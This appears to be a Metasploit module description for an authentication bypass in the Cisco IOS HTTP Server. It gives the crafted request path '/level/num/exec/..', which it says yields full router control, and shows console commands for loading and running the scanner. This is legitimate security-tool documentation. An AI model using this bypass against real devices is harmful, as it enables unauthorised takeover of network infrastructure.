This module exploits a vulnerability in the Cisco IOS HTTP Server. By sending a GET request for "/level/num/exec/..", where num is between 16 and 99, it is possible to bypass authentication and obtain full system control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.3(11d).
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use auxiliary/scanner/http/cisco_ios_auth_bypass
msf auxiliary(cisco_ios_auth_bypass) > show actions
...actions...
msf auxiliary(cisco_ios_auth_bypass) > set ACTION < action-name >
msf auxiliary(cisco_ios_auth_bypass) > show options
...show and set options...
msf auxiliary(cisco_ios_auth_bypass) > run
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